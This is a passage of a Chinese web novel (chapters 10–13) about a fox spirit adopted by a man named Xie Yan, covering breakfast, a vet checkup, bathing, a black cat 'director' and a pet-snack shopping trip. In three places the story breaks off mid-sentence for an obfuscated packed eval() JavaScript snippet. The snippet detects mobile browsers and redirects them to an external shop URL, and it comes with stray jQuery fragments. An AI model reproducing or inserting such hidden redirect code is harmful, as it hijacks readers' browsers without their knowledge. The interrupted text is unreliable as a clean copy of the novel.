谢砚一时竟有些不忍心打扰小家伙睡觉了。
他想了想,果断掏出手机,对着小狐狸连拍了十几张照片,他点了点手机上的小狐狸,觉得静止画面还是不足以记录小狐狸的可爱,又打开了录像。
拍了一会,谢砚想起一件事,眉头稍稍往下压。
屋里开着恒温系统并不冷,小狐狸的睡觉姿势表达出一个信号——它很没有安全感。
可说它没有安全感吧,房间里进了个人也不知道,还是在没心没肺地睡觉。
有警惕心,但不多。
手轻轻摸了一下小狐狸干燥的尾巴毛,谢砚心想,他的狐狸可不能这么瘦。
还没等他掏出手机查狐狸的饲养方法,手边的小狐狸就悠悠醒来了。
刚刚开机的小动物都是傻乎乎的,小狐狸也不例外。
云容没心没肺张开嘴打了个哈欠,发了会呆,抖抖耳朵,又站起来伸了个舒舒服服的懒腰,这才发现房间里不知道什么时候多出了一个人,他的尾巴还在对方手里!
怎么可以随便动狐狸的尾巴?!
吓了一大跳的小狐狸直接来了场原地起飞,把自己的尾巴藏在身后,张嘴想骂一骂这个冒犯的人类,看到那张赏心悦目的脸时才想起来——这是他挑中的铲屎官。
铲屎官给自己奉上肉肉,不能咬!
于是云容重新端坐好,蓬松的尾巴放在前爪上,特别认真地问,“请问什么时候吃早餐啊?”
谢砚自是听不懂小狐狸的话的,他表情柔和了许多,“看来精神不错,来,跟我下楼。”他拍了拍自己的大腿。
小狐狸怀疑地看了眼他身下的轮椅,这玩意真的可以下楼梯吗?
虽然怀疑,但云容还是小心翼翼地跳到了谢砚的腿上,乖巧地坐下。
算了,他还摸不清这里的路,有个坐骑总是好的。
谢砚有些受宠若惊,没想到小狐狸居然听懂了他的意思,还主动被他抱!
记事后没有哭过的谢总第一次有了热泪盈眶的冲动,原来被毛绒绒宠爱的感觉是这么幸福,暖暖的一小团伏在腿上,一时间他觉得房间里的那些玩偶都不香了。
从奇怪的机关箱子下楼后,云容一出来就闻到了厨房飘来的香味,黑色的小鼻子翕动几下,他眼睛一亮,除了肉肉还有好多好香的东西!
他期待地扒拉着谢砚的手,“是给狐吃的吗?是给狐吃的吗?”
谢砚握住狐狸不停作乱的前爪,趁机揉了一下肉垫,“乖,等我吃完早餐再带你去兽医院检查检查。”
云容不可置信,“你居然一个人吃这么多好吃的?!”
不懂狐言的谢砚操控轮椅来到餐桌前,小狐狸也终于看清了铲屎官今天的早餐。
鲜虾肠粉、小笼包、培根吐司鸡蛋、金枪鱼沙拉,不多,但很丰富,中西结合的鲜艳颜色几乎让小狐狸红了眼。
有他没见过的菜!看上去好好吃!
一路上安安静静的小狐狸扒拉在桌子边缘朝着早餐哇哇大叫,却还是很懂事地没有跳上去。
谢砚总算
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370601|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是明白了小狐狸的意思,“这是人类的早餐,放了很多盐和调味料,小狐狸不可吃。”
“小狐狸可以吃!”云容急得跳到地上团团转,又去扒拉谢砚的手,认真和谢砚讲道理,“可以吃的!”
他又不是那些普通的狐狸,以前他可是没少偷偷溜去凡间吃好吃的,他现在还记得京城南街上那家小馄饨的味道呢!
“乖,听话,小狐狸吃了会掉毛。”谢砚揉了揉小狐狸的头,很有耐心地和小家伙解释,“你等下还要去体检,等回来了我们再吃东西好不好?”
小狐狸抖了抖耳朵,没有松爪。
谢砚继续讨价还价,“喜欢昨晚的牛肉吗,从医院回来可以吃到饱。”
蓬松的尾巴摇了摇,手上的狐狸爪子还是没有松开。
谢砚又加了一个筹码,“还可以加一个鸡蛋。”
小狐狸瞪大眼,他好久没有吃上新鲜的鸡蛋了!
云容总算停下了扒拉,他眯起眼打量了很久谢砚,确定他不是在骗狐狸,才哼哼两声算是消停了。
罢了,就宠铲屎官这一次吧。
旁边的李叔瞪直了眼,他在谢砚五岁的时候到了谢家,算是看着谢砚长大的,二十多年了,他还是头一次瞧见自家少爷语气放得这么温柔,还带上几分哄的意思,可惜对象是只什么都不懂的小狐狸。
李叔简直想把刚才的那一幕发给先生夫人,如果对面是个人,夫人也不用愁少爷至今都没能脱单了。
决定宠一宠铲屎官的云容努力将目光移开,不去看那些无时无刻在勾引狐的饭菜,可空气中的香味却不停地往鼻子里钻!
很讲信用的小狐狸龇了龇牙,用尾巴捂住鼻子,他什么都闻不到什么都闻不到。
吃完饭后谢砚带着小狐狸出了门,守在车边的保镖先前还以为他腿上的白团子是毛毯,直到走近了才吓了一跳,“少爷养狗了?”
谢砚还没说话,他腿上的白团子就炸毛了,站起来朝着牛高马大的保镖骂骂咧咧,“你才是狗你才是狗!看清楚了!我是狐狸,狗有这么好看的大尾巴吗?!”
哪怕听不懂也能从小狐狸尖细的叫声中知道它骂得有多脏了,自知理亏的保镖有些手足无措。
他要不要给这只小狐狸道歉?
“不是狗,是狐狸。”谢砚揉了揉小狐狸的下巴,等小家伙情绪冷静下来后又道:“是我的狐狸。”
明明还是没有什么表情的脸和冷静的语气,可保镖却觉得自己听出了几分得意。
怎么可能,少爷怎么可能做这种事?
可他看清楚小狐狸可爱的长相时,瞬间理解并共情,要是他有这么一只可爱的小家伙,他也恨不得和全世界炫耀。
“是我眼拙了。”见小狐狸蓝色兽瞳还在一眨不眨瞪着自己,保镖赶紧补充,“这还是我见过最漂亮的小狐狸呢!比我在动物园见过的所有狐狸都好看!”
算你识相!
云容矜持地仰起下巴,垂下的尾巴却不受控地摆动,不停地蹭着谢砚没有受伤的那边腿。
他们要去的兽医院是谢砚的一个朋友开的,离这里不远,不过十多分钟就到了。
张远青刚刚吃完早餐,看到窗外那道熟悉的身影时傻住了,谢砚跑他这里来干什么?!该不会是想买宠物吧?
兽医院刚刚开业的时候谢砚来过,他家猫园长被吓得不肯出来,后面用了好几个罐罐才哄好,这祖宗怎么又来了?
似乎是为了解答他的疑问,坐在轮椅上的男人举起了怀里的小家伙,语气是掩饰不住的得意,“我带它来检查身体。”
话还没经过大脑就说出来了,“你哪里捡的博美?!”
第二次被当成狗的云容怒不可恕,“放开我!我要咬死他!”
11. 第 11 章
云容最这辈子最讨厌的就是被人当成别的物种。
尤其是狗。
小时候的云容也是白色小小的一团,胎毛蓬松柔软,远远望去像是一团蒲公英,是同窝里最可爱的一个狐狸崽崽,满月的时候还有不少狐狸慕名而来看他。
但是尾巴却没有现在这么蓬松漂亮,而是小小的蓬松一条,体型比小狗崽崽小一些,尾巴却长很多,又不像小奶狗那样卷曲,从背面看去最先注意到的是尖尖的三角耳朵和有些长的毛尾巴,因此经常被误会是小猫崽子。
那时候云容还没有开灵智,无论是喊他小猫崽还是狐狸崽崽都会仰起脑袋嘤嘤嘤回应,湿漉漉的蓝眼睛比宝石还好看,青丘有不少成年狐狸特别喜欢逗他。
可长大一些,开了灵智,就知道两者的区别了。
再有狐狸喊他小猫崽,云容说什么也不愿意回应了,还会转过身用屁股对着想逗他的坏蛋。
再大一些的云容就要跟着族里的成年狐狸去凡间进行社会化教育,还没有成年也不能化形的小狐狸被化成人形的长辈抱在怀里张望,对什么都好奇的可爱模样又惹得不少人侧目。
狐族化人形无一不好看,美人抱着可爱的小动物更是赏心悦目,让人惊艳。
“好漂亮的小家伙!”
“诶哟,这是谁家的公子啊,好生俊俏。”
“这雪白的皮毛世间罕见啊!”
虽然还没有化形,但是小狐狸听得懂人类对他的夸奖,个个都称赞他可爱更是让云容忍不住抬起下巴,矜持骄傲的小模样又引得更强烈的夸奖。
看似矜持,实则每听到一句夸夸耳朵就会忍不住转向那边,好听得更清楚。
人类,可真是一种讨狐喜欢的生物,嘴巴又那么会说话,继续夸,多夸夸,狐爱听。
直到听到那句话,云容的骄傲瞬间被击碎。
“娘亲,我也要买这么可爱的小狗狗!”
小孩子的声音清亮语速又快,抱着他的成年狐狸想捂住云容的耳朵已经来不及了,每一个字都清晰传递到云容的耳廓里。
狗?!
你说谁是狗呢!
哪怕当时才开灵智,云容也知道在凡间被说狗可不是好事,他作势就想去咬那个小孩,还没扑出去就被大狐狸掐住嘴筒子抱住了。
幼崽状态的小狐狸无法反抗,回去后绝食了整整一天,后面整个青丘山没动物敢再说他是小猫小狗。
虽然这事已经过了几百年,但狐狸这种动物小气又记仇,云容一直记在心里,现在一天被认成狗两次,是可忍狐不可忍!
谢砚勉强稳住龇牙骂骂咧咧的小狐狸,“他眼瞎看错了,我们小狐狸这么好看才不是小狗呢。”说完还给张远青使了几个眼色。
“狐狸?!”张远青走近一看,果然是狐狸,还是个没有成年的小白狐。
他乐了,“你哪里找来的不怕你的狐狸啊?”
张远青是为数不多知道谢砚猫憎狗嫌的人,他还是头一次见到有动物离谢砚这么近,还乖乖让抱着,顿时对这只小狐狸刮目相看。
“自己进我家碰瓷的。”谢砚唇角微微勾起,“还是两次。”
“嚯!”张远青原本还有些不信,可看到他怀里的小狐狸没有害怕的反应,只有自己被认成狗的怒气,霎时相信了大半,接收到谢砚暗示的眼神,他赶紧弯下腰和小狐狸平视,“抱歉抱歉,是我有眼无珠,把这么好看的小狐狸认成狗。”
开了宠物医院后他什么性格古怪的动物都见过,听懂人话的也不少,甚至还有会做加减乘除的边牧,完全不觉得一只小狐狸这么聪明有什么不对劲。
虽然记仇,但云容自认为是一个很大度的狐狸,即使还是有些不爽,终于停下了骂骂咧咧,勉强给张远青一个好脸色。
人,你得到了狐的原谅。
张远青领着他俩往里面走,“带它来做检查?”
“嗯,做个简单的检查就好。”谢砚抱着小狐狸在前台登记。
宠物医院的前台和谢砚你问我答,前台一一将小狐狸的信息记下,在名字那里卡了壳。
见谢砚答不上,张远青在旁边幸灾乐祸,“你该不会还没有给它起名字吧?不如就叫谢砚之狐?”
谢砚和云容齐齐给了他一个白眼。
不过……这倒是提醒了谢砚,他这才想起自己居然还没有给小狐狸起名字。
谢砚低下头,和清透的狐狸眼对上视线,一人一狐对视了几秒,怀里的触感温热,像是抱着一团柔软的云朵。
“绒绒。”
他抬起头,“就叫绒绒吧,丝绒的绒。”
谢砚摸了摸小狐狸的头,“喜不喜欢这个名字?”
“嗷~”云容开心地晃了下尾巴尖,虽然不是‘云容容兮而在下’的容,但同音,狐勉强接受这个小名了。
他还是幼崽的时候父母和长辈们也是叫自己做容容。
都差不多嘛。
谢砚和护士还在对接信息,张远青左看看右看看才发现自己忘了什么,他家的招牌——猫院长呢?!
那么大一个黑猫呢?!
似乎是心有灵犀,他一扭头,就和缩在沙发底下阴暗观察这边的黑团子对上视线,如果不是那对绿莹莹的猫瞳,他还真找不到自家猫在哪里。
“你缩那里干什么呢?”张远青朝黑猫招招手,“墨墨,该来招呼新客人了。”
“我才不去。”黑猫喵了一声,“你就看不到那个人身上可怕的气息吗?!还让猫去,你一定是想谋杀猫!”
以往很有职业道德主动出来迎接来看病的动物的黑猫此时缩在沙发底下,无论用什么小鱼干罐罐都不肯出来做抚慰的工作,劝得嗓子冒烟的张远青只好作罢,认命换上白大褂给小狐狸做检查。
狐狸这种动物虽然是犬科,可性格比猫还捉摸不定,张远青全副武装做好了被咬被挠的准备,却没想到这只小狐狸意外地配合,除了要做肛检的时候反抗了一下只能改成普通的体温计,其他项目乖得不可思议。
就连打针都没有反抗,叫都没有叫。
云容得意,他可不是第一次做体检的狐狸。
“小家伙很健康,除了有些营养不良指标都不错,慢慢养着就好。指甲虽然没有修剪的痕迹,但是耳朵很干净,又不怕人,应该曾经是家养但是又被迫流浪的。”张远青啧啧称奇,“你到底是从哪里找来的宝?”
“我说了,主动送上门的。”谢砚有些小得意,他甚至觉得前二十多年缺失的毛绒绒是为了小狐狸到来做的准备。
做完检查,张远青又问:“要不要给它洗个澡?流浪了这么多天可不太干净。”
还没等谢砚回话,云容就迫不及待地点头,“要要要!可难受死我了。”
狐狸本来就是爱干净的动物,更别说云容以自己一身洁白似雪的皮毛为骄傲,以往衣服上沾了一点灰尘都要掐诀弄干净,餐风宿露这么多天没洗澡已经是他的极限了。
“要洗要洗!”云容着急地扒拉着谢砚的手,认真强调,“我要洗澡!现在就洗,晚一天都不可以!”
谢砚自然是听不懂小狐狸的叫声想表达什么,他试探性地抱小狐狸去旁边的浴室,见小家伙主动跳进了洗澡池,这才反应过来。
“谢先生,麻烦你去外面等一下吧,有玻璃窗可以看到里面的情况的。”见谢砚站着不动,美容师有些为难,自从谢砚进来后还在洗澡的俩狗子瞬间安静了,哈士奇不嚎了柴犬也不龇牙骂人了,两只狗缩在角落里瑟瑟发抖,如果不是脖子上还绑着绳子怕不是早跑了。
“行。”谢砚看到刚才还气势汹汹骂人的两个狗缩成了鹌鹑的模样也有些好笑,安抚地摸了摸小狐狸的头,“那我先出去了,绒绒在这里乖乖听话,只是洗个澡,不会难受的。”
云容的耳朵轻轻抖了一下,眯眼瞧谢砚,真是个粘人的铲屎官,连狐洗澡都要粘着。
他拍拍谢砚的手,“行,我知道了,你可以退下了,放心在外面等着。”
狐狸娇软的叫声让谢砚眸底的笑意更
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370602|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甚,如果他知道叫声里的意思,也不知道还能不能笑出来。
宠物洗澡前一般要剪指甲,小狐狸一开始还很放松,直到他的爪子被握住,他看到美容师手里奇怪的剪刀,目光警惕,“你想干什么?!”
“宝宝你的指甲太尖了,该剪了。”美容师有些无奈。
指甲是他打架的武器之一,不可以剪!
云容把爪子从美容师手里夺回来,死死把四只爪子藏在肚皮底下,缩成一团狐球,朝着美容师长大嘴巴,虽然知道这是狐狸生气的表现,并不会真咬下来,但尖尖的犬牙还是很有威慑力的。
美容师想起院长说这是小狐狸第一次洗澡,害怕小家伙因为强迫剪指甲这事应激,她只好作罢,还把指甲剪放到抽屉里,软声哄道:“好好好,不想剪那我们不剪了,不过要说好,不可以挠我哦!”
云容抬头瞪了一眼美容师,他又不是猫,怎么会挠人。
剪指甲这个小小的插曲让美容师有点警惕,她不是第一次给狐狸洗澡了,还以为这只小狐狸会像其他狐狸那样不配合还上蹿下跳,却没想到小家伙乖乖配合,还会主动抬起腿方便她洗,忍不住夸夸:“好棒的宝宝啊,太厉害啦!”
四百多岁被小姑娘喊宝宝的云容接受良好地仰起头。
洗着洗着,旁边伸过来两只硕大的狗头。
“汪!小狐狸,你是怎么敢驯服这么可怕的两脚兽的!”哈士奇瞥了一眼站在窗口盯着里面的谢砚,默默夹紧了尾巴。
另一边的柴犬也满脸好奇地看着云容。
云容还是第一次看到长相好看又愚蠢的狗,不由得多看了几眼哈士奇,虽然长得蠢,但是眼见力可比人类好多了,一眼就认出来他是狐狸,于是云容毫不吝啬地回答它的问题,“这还需要驯服吗?他主动要当我的铲屎官的。”
他歪歪头,“为什么你们这么害怕他?他还主动给我奉上美味的肉和住的地方呢。”
柴犬抖抖毛,身上的泡泡被甩开,刚刚给它上好柔顺剂的美容师猝不防及被糊了满脸,忍不住抱怨了两句,柴犬脸上出现一个恶作剧成功的咧嘴笑,才回答云容的问题,“不知道,这个两脚兽身上有一种很可怕的气场,我们不敢靠近。”
哈士奇赞成地点点头,“对对对,这大概就是……就是……”
二货哈士奇就是了好几次,才想到一个合适的形容词,“就是我妈说的食物链压制!”
它妈之前去动物园沾了老虎味回来还不洗澡,直接把它给吓尿了,结果它妈不仅不着急,还哈哈大笑幸灾乐祸,哈士奇就把这个词给记下了。
哈士奇心有余悸舔舔嘴,“这人的味道可比老虎还要吓汪!”
柴犬崇拜地看着云容,“你居然可以让这么厉害的两脚兽心甘情愿给你当铲屎官,真是太厉害了!”
两只狗毫不掩饰的崇拜让云容忍不住把小脑袋仰得更高,得意洋洋的模样可爱得要命。
窗外的谢砚饶有趣味地看了一会,里面的三只小动物汪汪汪啊啊啊也不知道在聊什么,虽然听不懂,但是云吸多年猫狗的谢砚一眼看出来自家小狐狸很讨狗子喜欢,心情出奇得好。
可看到小狐狸进去后就沉迷于聊天和洗澡,连个眼神都没给他,似乎忘了外面还有一个人在等着,谢砚嘴角下降了一个像素点。
没等他继续看下去,手机突然响起来,是合作对象,他只能让保镖推他去安静的地方接电话。
他相信好友员工的人品,并不担心美容师会对他家小狐狸做什么。
谢砚才离开没几分钟,一只黑色的小身影就熟门熟路地用自己肉墩墩的身体压下门把手,从门缝里钻进去。
刚才还怂怂躲在沙发下的黑猫院长灵巧地跳上旁边的小台子,爪子拍了拍正在帮小狐狸洗澡的美容师,“快点洗完,我要带它去逛逛。”
虽然很害怕谢砚,但黑猫还是记得自己作为院长的职责,鼓起勇气来招呼小狐狸。
它的每一粒猫粮每一根小鱼干每一个罐罐都不能白吃!
12. 第 12 章
黑猫墨墨是一只很有猫德的猫,它还是幼猫的时候被人扔在了动物医院门口,那时刚好是动物医院开业的前一个星期。
都说玄猫镇宅还招财,张远青觉得这是一个好兆头,于是大手一挥,把小黑猫留了下来,还起了个和它毛发很相符合的名字——墨墨。
动物医院的医生护士们都特别喜欢这个小黑猫,你一个罐罐我一根猫条,原本怯生生的小黑猫在医院众人的投喂下,很快就长成了活泼亲人的猪咪。
就连带自家宠物来看病的主人们都忍不住摸摸这个小黑猫,“咪咪,你怎么回事啊,怎么这么会撒娇啊,是个不要钱就能摸摸的小猫咪吗?”
敞开肚皮任摸的小黑猫不满意地打了两个呼噜,“谁说的,咪可是吃了好多个罐罐呢!”
护士小姐姐们说了,吃了罐罐和猫条就要用身体来偿还,它可都记得呢。
让人意外的是墨墨不仅亲人,还亲动物,大部分小动物都很害怕医院和医生,于是墨墨便主动担任起了安抚病人情绪的工作,别说小猫小狗,连受伤被带来医院看病的小豹子都能和墨墨成为朋友。
无论是在医院还是在网络上,墨墨都是一只人人夸赞的好咪,在年度大会上成功以数票之差踩在张远青的头上获胜,成为动物医院真正的园长,工资是猫条罐罐猫粮还有各种猫玩具。
是无数猫猫羡慕的工作了。
当然,墨墨的尽职前提是张远青那个可怕的朋友不在的情况下,如果不是谢砚有事离开,它说什么都不会靠近这个美容室!
黑猫一出现,两个狗子连忙把脑袋凑过去打招呼,“墨院长你来啦。”
“嗯。”黑猫矜持地拍拍两个狗子,“安静点,今天有个难产的母猫。”
“噢!”两个狗子瞬间老实下来,眼巴巴看着黑猫。
黑猫没有再管它们,而是看向好奇的小狐狸,“你好,我叫墨墨,是这个医院的院长。”
“你好,我叫云容。”小狐狸歪头,“院长是什么很厉害的职位吗?”
“当然!”哈士奇抢过话,“院长就是这个医院最厉害的人!所有医生护士都要听它的话!”
云容瞪大眼,“可以命令这么多两脚兽,真的好厉害哦!”
不像他,只能命令一个两脚兽,有时候还不太好使。
黑猫看似冷静,身后的尾巴像天线一样高高竖起,“那当然。”
它又去催美容师,“快洗快洗,我要带它去逛逛!”
刚才它铲屎官说了,这只小狐狸和它一样也是被抛弃的,让它带着好好逛逛,
美容师被逗乐了,“好好好,等吹干梳完毛就可以了。”
但很快她就笑不出了。
美容室放下手里的吹风机,快步拉开门,“快,多喊个人过来帮忙梳毛,顺便把抽风机打开。”
黑猫借机从门缝里溜出来,找到一处空地快速抖掉身上的白毛,忍不住打了两个喷嚏。
这狐狸的毛怎么这么多!
美容室里简直就是漫天飞雪,不仅美容师身上挂满了白毛,连刚刚洗完的两个狗子都没能幸免,负责它俩的美容师简直要哭了,“这是狐狸还是萨摩耶啊?怎么比狗还能掉毛,我白洗了!”
云容听到萨摩耶三个字忍不住龇牙,他在公园里的那段时间碰到不少过来散步的狗,其中就有个很收欢迎的狗叫萨摩耶。
这些人类怎么这么喜欢拿自己和狗比?!
哈士奇开心地上下扑腾,“赶紧的!把水龙头给我打开!我要玩水我要玩水!”
柴犬吠两声,也加入了欺负美容师的活动。
整个美容室比过年还热闹。
看到旁边两大团比自己身体还大的狐狸毛团,再看看整个人都被白色绒毛覆盖的美容师,小狐狸心虚别过脸,几百年没有梳的毛,是有点多哈。
两个美容师一起给小狐狸梳毛,好不容易才提前结束这场可怕的折磨,可看到洗护结束后比之前还要蓬松可爱的小家伙,什么气都没有了。
“我滴乖乖,难怪纣王被妲己迷得神魂颠倒,换我我也喜欢啊!”
美容师随手拿开眉毛上的狐狸毛,掏出手机就对着小狐狸拍拍拍,照片里的小家伙蓝色的兽瞳剔透如冰川,眼神清澈无辜,只是呼吸就能把两脚兽迷得死去活来。
美容师还想再录几个视频,她身后的窗户底下突然探出两对尖尖的黑色三角耳,三角耳抖了抖,又消失,然后是一只灵活的黑猫跳上窗台。
黑猫拍拍玻璃,粉色的肉垫在上面留下小小的爪印,“云容,快点快点,不然你的铲屎官要回来啦!”
“来啦来啦,我这就来!”小狐狸轻巧跃下窗台,大尾巴擦过美容师的小腿作为感谢,一溜烟跑了出去。
走廊上两个身形相似的小动物一黑一白并行,吸引不少家属的目光。
“我们去哪里呀?”小狐狸好奇地张望这个地方,轻巧地躲开凑过来想闻他屁股的狗子。
“带你去零食区逛逛!”黑猫瞥了一眼小狐狸瘪瘪的肚子,可怜的孩子,一看就知道在外面流浪了很久,可能没吃饱过饭。
听到零食两个字,云容加快了速度,“好喔!”
张远青是个富二代,毕业后把自己的小金库都投入了这家动物医院里,连零食区都比寻常的动物医院大很多,宠物零食琳琅满目,光是才走到门口就闻到了里面香喷喷的味道。
小狐狸不禁咽了咽口水,他好饿哦。
货架上的宠物零食印满了各式各样的猫头狗头,黑猫竖着尾巴走在前面介绍:“这一排是我们猫咪吃的,都是罐罐和冻干……我觉得这个牌子的罐罐最香。”
云容艰难地辨认着上面缺笔少划的简体字,“金枪鱼罐头、脆块儿、鸡米花鲜肉主食冻干……”
黑猫的话戛然而止,瞪大了眼像是见到鬼一样,“你居然会看懂两脚兽的字?!”
“当然。”云容得意仰头,“我可不是没有文化的狐狸!”
为了不像话本子里那样随随便便被讨厌的坏书生骗走,他们青丘山可是和人类一样要上文化课的,每一个开了灵智的小动物都不能逃课。
“太厉害了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370603|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”黑猫绿色的猫眼睛里充满了艳羡,“那你就可以自己挑想吃的罐罐了,不用像我们这样,老是被两脚兽骗。”
明明是鸭肉冻干,还骗它们是鸡肉冻干,有些没文化的小猫咪吃下去都不知道自己被骗了。
云容好奇:“那你吃过很多零食吗?”
“这里的每一种猫零食和猫粮我都吃过!”黑色的猫尾巴高高竖起,尾巴尖尖勾着,得意地摇晃,“最辛苦的时候,我可是每餐都能吃罐罐的!”
所以它才可以长出这么强壮的身躯!
羡慕的云容很有求知精神:“那……怎么样才能让两脚兽心甘情愿献上这么多美味啊!”
黑猫正襟危坐,“这可不是人类献上的,而是咪凭本事挣的工资!”
小狐狸抖抖耳朵,摆出一副洗耳恭听的姿势。
“我的工作可多啦,不仅要安抚来看病的动物,还要安慰那些紧张或者难过的家属,这些都是院长的工作哦!”
“每天都要来好多动物和两脚兽,我很累的,所以吃这么多罐罐和零食,是咪应得的!”
云容有些苦恼:“可我不是院长,我的铲屎官也没有这么大的医院可以让我去安抚动物。”
“也是哦……”黑猫刚刚还高高翘起的尾巴耷拉下来,小小的问题难倒了两个小家伙。
但是很快那条尾巴又翘起来了,“我还听说过一个办法!”
小狐狸:“什么办法呀?”
“有很多好心的两脚兽会主动给流浪猫狗投喂食物,如果你躺下来滚几下撒撒娇的话,别说普通的猫粮,还会给猫条和罐罐!”黑猫挥挥爪子,“尤其是学生,特别喜欢投喂小猫咪的!”
这些都是大学里被抓来做绝育的小猫咪们告诉它的!
云容把这事记在心里,点点头,“我知道啦,谢谢你。”
黑猫:“没事,来来来,我再给你介绍几个好吃的牌子。”
-
另一边的谢砚打完电话回去,就碰上了张远青,不过对方的表情不太好。
谢砚挑眉:“怎么了?”
张远青叹了口气,“你真的要养狐狸?”
谢砚:“有问题?”
张远青又叹了口气,“狐狸这种动物可不像狗那样好驯服,你要想清楚,不然也不会这十几年才开始有人当宠物养。”
他指了一下身后护士手里的航空箱,“这是刚刚送过来寄养的狐狸,主人养了大半年也没养熟,拆家还爱乱拉乱尿,今天和主人玩的时候差点把主人的手筋咬断。”
“所以,你要想清楚。”
谢砚看过去,航空箱里果然蜷缩着一只同样是白色的小狐狸,察觉到他的目光,似乎开始发抖了,完全没有在家里作威作福的样子。
自己家的小狐狸又聪明又乖,又那么亲人。
谢砚莫名有些不悦,眸色沉了几分,“自然是要养的。”
“我心里有数,你放心。”
见好友态度如此坚决,张远青也不好再说什么,拍了拍谢砚的肩膀,“那我等你的好消息。”
13. 第 13 章
谢砚没有把他的话放在心上,环视了一圈,周围有猫有狗还有蛇,就是没有他家小狐狸。
“我狐狸呢?”
“刚才我说的话你全没听是吧?”张远青拉过一个小护士问了几句,“你的狐狸和我的猫在零食区呢。”
谢砚沉默了一瞬,“自助餐?”
“想得美!”张远青翻了个很不优雅的白眼,“差点忘了说,绒绒虽然营养不良,但是最好别吃太多零食,毕竟饿了这么多天,吃太多零食肠胃受不住,一天一个罐罐就好。”
他才想起谢砚是第一次养宠物,“算了算了,我等会给你发个表吧,狐狸是杂食性动物,很多东西都能吃,你先按那个表格喂吧。”
谢砚点点头,“谢了。”
那边的黑猫还在给云容分享两种品牌的罐罐口感区别,小狐狸充满求知欲的眼神满足了黑猫的虚荣心,说得很是忘我,恨不得当场拆几个给小狐狸尝尝。
滔滔不绝的三角猫嘴突然紧绷,直接吓到尾巴炸毛。
“喵呜——!”有危险!
还没等黑猫逃走,就被一双手拎了起来抱在怀里,熟悉的味道让它安心了一点,把脑袋藏起来瑟瑟发抖。
张远青:“看你把我家猫吓的。”
谢砚无辜:“这又不是我的错。”
铲屎官来了,云容慢吞吞走到他的旁边,轻轻叫了一声算是打招呼。
谢砚拧眉看了好一会小狐狸的尾巴,“怎么瘦了这么多?”
“整个房间都是它的毛,能不瘦吗?”张远青拍拍他的肩膀,“狐狸的掉毛程度不亚于银渐层和萨摩耶,你要做好心理准备。”
谢砚显然没有听进去,“那些毛还在吗?”
张远青:“应该还在吧,你想干嘛?”
“打包好,我一会拿回去。”谢砚勾唇,“可以攒下来做抱枕。”
张远青:?
不是,这人有病吧?他真的是不言苟笑的老古董谢砚吗?
不等他细究,怀里的黑猫猛拍他的脸,“快走快走!我不想靠近这个两脚兽!要不你放我下来自己走!”
张远青怀里的黑猫挣扎得实在是厉害,简直把他当成洪水猛兽,谢砚有些无奈,“你先忙吧,我和绒绒逛就行。”
张远青:“行。”
他怀里的黑猫如释重负,小心翼翼探出个脑袋,冲着小狐狸喵喵叫,“我刚才说的两个牌子你一定要买啊!一定要!”
小狐狸摇摇尾巴,“我记下来啦。”
一人一猫离开,谢砚想起小黑猫乖乖缩在张远青怀里的样子,白毛团子乖巧地蹲在他脚边,懒洋洋摇晃的大尾巴他手有点痒,他拍拍自己的大腿,“来,我抱你。”
小狐狸不满地瞥了他一眼,他又不是不会走路的小孩子,怎么需要一个受伤的人类抱?
“好吧,绒绒自己走。绒绒看中了什么,我们买回去好不好?”谢砚也不恼。
云容狐狸眼睛微微眯起,“这可是你说的。”
毛茸茸的爪子在一样样零食上拍过,“这些、这些、还有这些,我全都要。”正是黑猫和他分享的最好吃的牌子,一个都没有少。
谢砚顺着小狐狸的爪子看去,沉默了,他家绒绒可真是一点都不傻,直接要一整箱。
“好,要不要再买一些玩具?”
云容投以满意的目光,他找的铲屎官可真上道。
小狐狸乐颠颠冲向玩具区,目标准确找到刚才看上的玩具叼起来,放到谢砚的腿上,“狐要这个!”
黄色的长脖子鸡被修长的手指一捏,发出刺耳的尖叫声,谢砚面不改色放下,“要不要再多买一些?”
小狐狸抖抖耳朵,没有动,他这才想起铲屎官穷,连他挑选的零食都不一定够钱买的,还是别选太多玩具啦。
一个玩具可以玩很久的。
如果谢砚知道自家小狐狸的想法,定要把整个区的东西都搬回去,用行动告诉小狐狸他一点都不穷!
小狐狸态度坚决,谢砚也不指望小家伙听得懂,而是把这几箱子零食和尖叫鸡加入购物车,和他选好的数样东西一起发给助理,让他买下送去家里摆好。
“办公室也添置一些。”
张助理看着那一大堆东西,沉默了。
他老板这是在进货吧,不说别的,这可以堆满房间的零食和罐头都够小狐狸一天三顿吃好几年了。
谢砚活了这么多年,购物欲还是头一次如此强烈,在看到那个宠物房模板时更是达到了顶峰。
